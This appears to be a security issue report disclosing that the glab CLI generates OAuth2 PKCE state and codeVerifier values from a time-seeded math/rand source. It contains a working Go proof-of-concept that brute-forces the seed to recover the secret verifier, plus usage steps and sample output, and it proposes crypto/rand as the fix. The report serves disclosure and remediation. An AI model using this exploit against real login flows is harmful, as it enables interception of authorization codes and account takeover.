Weak random numbers used for PKCE
Summary
The OAuth2 PKCE implementation in the glab CLI does use a predictable random source to generate the state
and codeVerifier
parameters.
Steps to reproduce
In https://gitlab.com/gitlab-org/cli/-/blob/bafc505272f5b1f9d192de45cbecf34c591f9f2f/pkg/oauth2/pkce.go#L18 the random number generator is seeded with time.Now().UnixNano()
. This random number generator is used by the randomString()
function which in turn is used in pkg/oauth2/oauth2.go
to create the state
and codeVerifier
parameters.
The codeVerifier
in PKCE is used to protect against code interception attacks. With the current implementation however it is possible to deduce the codeVerifier
from the state
parameter.
The following proof-of-concept code implements such an attack:
package main
import (
"crypto/sha256"
"encoding/base64"
"math/rand"
"time"
"os"
"fmt"
)
const (
charset = "abcdefghijklmnopqrstuvwxyz" +
"ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
length = 45
)
func stringWithCharset(length int, charset string, r *rand.Rand) string {
b := make([]byte, length)
for i := range b {
b[i] = charset[r.Intn(len(charset))]
}
return string(b)
}
func randomString(r *rand.Rand) string {
return stringWithCharset(length, charset, r)
}
func genSha256(codeVerifier string) []byte {
hashFn := sha256.New()
hashFn.Write([]byte(codeVerifier))
b := hashFn.Sum(nil)
return b
}
func generateCodeChallenge(codeVerifier string) string {
sha := genSha256(codeVerifier)
return base64.RawURLEncoding.EncodeToString(sha)
}
func bf(i int64, target string){
seededRand := rand.New(rand.NewSource(i ))
if( randomString(seededRand) == target){
fmt.Println("found!")
verifier := randomString(seededRand)
fmt.Println("Verifier ",verifier)
fmt.Println("Code challenge: ",generateCodeChallenge(verifier))
os.Exit(0)
}
}
func main(){
// channel := make(chan int)
target := os.Args[1]
// 30 mins ago
start := (time.Now().Unix() - (60*30))*1000000000
end := time.Now().UnixNano()
for i:=end; i > start; i-- {
go bf(i,target)
}
}
It can be used as follows:
- Obtain a state parameter from the
glab
CLI. To do so runglab auth login
and choosegitlab.com
and sign in viaweb
this will open a browser window athttps://gitlab.com/oauth/authorize?...state=XXXX&...&code_challenge=YYYY
note the value ofstate
andcode_challenge
- The
state
value is used with the above PoC code likego run poc.go XXXXX
- The output of the PoC code is something like
go run poc.go Cn8UmC7WZuAWBA2XLfITFpaifIpeMPQojCc9ZDMQIWTbC
found!
Verifier: BdDn2D2NrlYD1B336fQv5Sfmt1JoZgorJauzY4PMjXAUS
Code challenge: Hh1YBRwKkmp1jv34U0yAlim3EcKsu5BrjKHAZx9cL3U
The Code challenge
output should match the code_challenge
parameter from step 1. And the verifier value is the the to-be-kept-secret sha256 preimage to the code_challenge
The used math/rand
package should not be used here, as stated in the documentation:
This package's outputs might be easily predictable regardless of how it's seeded. For random numbers suitable for security-sensitive work, see the crypto/rand package.
Possible fixes
Use crypto/rand
to generate the random strings.
cc @truegreg as the AppSec SC